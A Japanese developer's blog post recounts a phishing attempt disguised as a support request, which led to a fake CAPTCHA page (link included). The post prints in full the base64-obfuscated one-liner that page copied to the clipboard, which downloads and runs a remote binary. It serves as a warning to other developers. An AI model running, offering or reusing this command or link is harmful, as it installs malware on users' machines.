ユーザサポートの問い合わせを装った攻撃が怖すぎた

ユーザサポートの問い合わせを装った攻撃が怖すぎた

どうもTAKUYAです。個人開発をしていてアプリの知名度が上がってくると、作者個人(あるいはサイト管理人)を狙った攻撃というのをたまに受けます。つい先日も、怖すぎるメールを受け取ったのでシェアします。

件名: Cookie consent prevents platform access

Hello,
I cannot access use the store.
The cookie consent notice keeps appearing and nothing happens once I approve or try to close it, so I’m unable to
interact with the website.
Please provide guidance on how to resolve this or provide an alternative solution so I can access?

日本語で要約すると、「クッキー承諾がアクセスを妨害していて使えない」という感じの旨の問い合わせです。この時点ですでに奇妙です。なぜなら僕のアプリのサイト https://www.inkdrop.app/ は、クッキー収集の許諾ダイアログを表示していません。広告用途のトラッキングをしていないからです。少し怪しみつつも次のように返信します:

Can you tell me which Url, your OS, and browser?
Kind regards,
Takuya

どのページなのかと、環境について訪ねました。すると次のように返信がありました。ちなみにこの返信メールはGmailでスパムフォルダに仕分けられていました。

Hey,
Thanks for your previous guidance.
I'm still having trouble with access using the latest version of Firefox on Windows
It's difficult to describe the problem so I've included a screenshot.
https://sites.google.com/view/drive-845fro3buhxi/screen?fileid=15034204
Please take a look and suggest the next steps.

返答内容は自然に見えます。しかしどのページかは答えてくれませんでした。代わりに、「スクショを貼ったぞ」と言ってURLが貼られています。Google SitesのURLのようですが、自分はGoogle DriveのURLと誤認してしまいました。クリックします(あなたは決してしないで下さい!)。

なぜかCaptchaが表示されました。クリックします。

なんか「確認のためのステップ」が表示されました。「Terminalを立ち上げてペーストして実行せよ」みたいに言っています。この時点で「あーPhisingだ」と気づきました。クリップボードには以下のシェルスクリプトがコピーされていました:

echo -n Y3VybCAtc0wgLW8gL3RtcC9wakttTVVGRVl2OEFsZktSIGh0dHBzOi8vd3d3LmFtYW5hZ2VuY2llcy5jb20vYXNzZXRzL2pzL2dyZWNhcHRjaGE7IGNobW9kICt4IC90bXAvcGpLbU1VRkVZdjhBbGZLUjsgL3RtcC9wakttTVVGRVl2OEFsZktS | base64 -d | bash

くれぐれも手元のターミナルで実行しないようにして下さい。おそらく、Captchaのチェックボックスのクリックイベント時にコピーしたのでしょう。このスクリプトをChatGPTに分析させました:

シェルスクリプトをリモートからダウンロードして実行するようです。怖い!

Gmailでスパムフォルダに振り分けられていた点からして、既に被害が報告されたURLだったのでしょう。しかし初回コンタクトのメールは振り分けられていなかったので、「誤検知かもしれない」と思ってしまいました。

AIを使った荒らしやフィッシングが増えた

自分のユーザフォーラムでも、AIを使った一見自然に見える投稿が散見されるようになりました。投稿者の目的は明らかではありませんが、概ね嫌がらせやいたずらのように見えます。

メールでの問い合わせを装ったフィッシングも、本当に自然に見えるので、慎重に判断しないと分かりづらくなっています。よく考えれば論点がズレていたり、全体的に奇妙だったりします。嫌だなー。

みなさんも気をつけましょう!

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万年ペーパーの自分が車の運転を楽しめるようになった理由

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どうもTAKUYAです。大学の入学前に免許を取って以来ずっとペーパードライバーで、都市生活では出来る限り運転は避ける生活を送っていた。事故を起こせば人を◯してしまう可能性もある代物を日常的に運転するなんて考えられなかった。 そんな自分に転機が訪れたのは、結婚して大阪に戻った事と、子供ができた事、そしてアウトドアに興味を持った事だ。大阪近辺だと箕面とか野勢、神戸、丹波篠山などが日帰りでドライブしやすい距離だ。それで、恐る恐るタイムズのカーシェアで時々ではあるが運転するようになった。 他の車も生きた人間が運転しているという驚き まず運転していて気づいたのは、他の車にも生きた人間が運転していると言う点だ。そんなのは当たり前だろと思うかもしれないが、結構新鮮な発見だった。Grand Theft Autoなどの現代をモチーフにしたゲームをプレイすれば分かるが、NPCの車の動きは鈍臭いのでガンガンぶつかる。プレイヤーの進行を予測した動きなどしないからだ。 しかし現実では相手も事故りたくないので、お互いに動きを読み合い、譲り合って運転する。ルードな運転手もたまにいるものの、どちらかがよっぽ

By Takuya Matsuyama
禅的思考: なぜInkdropはMarkdown独自拡張をしないのか

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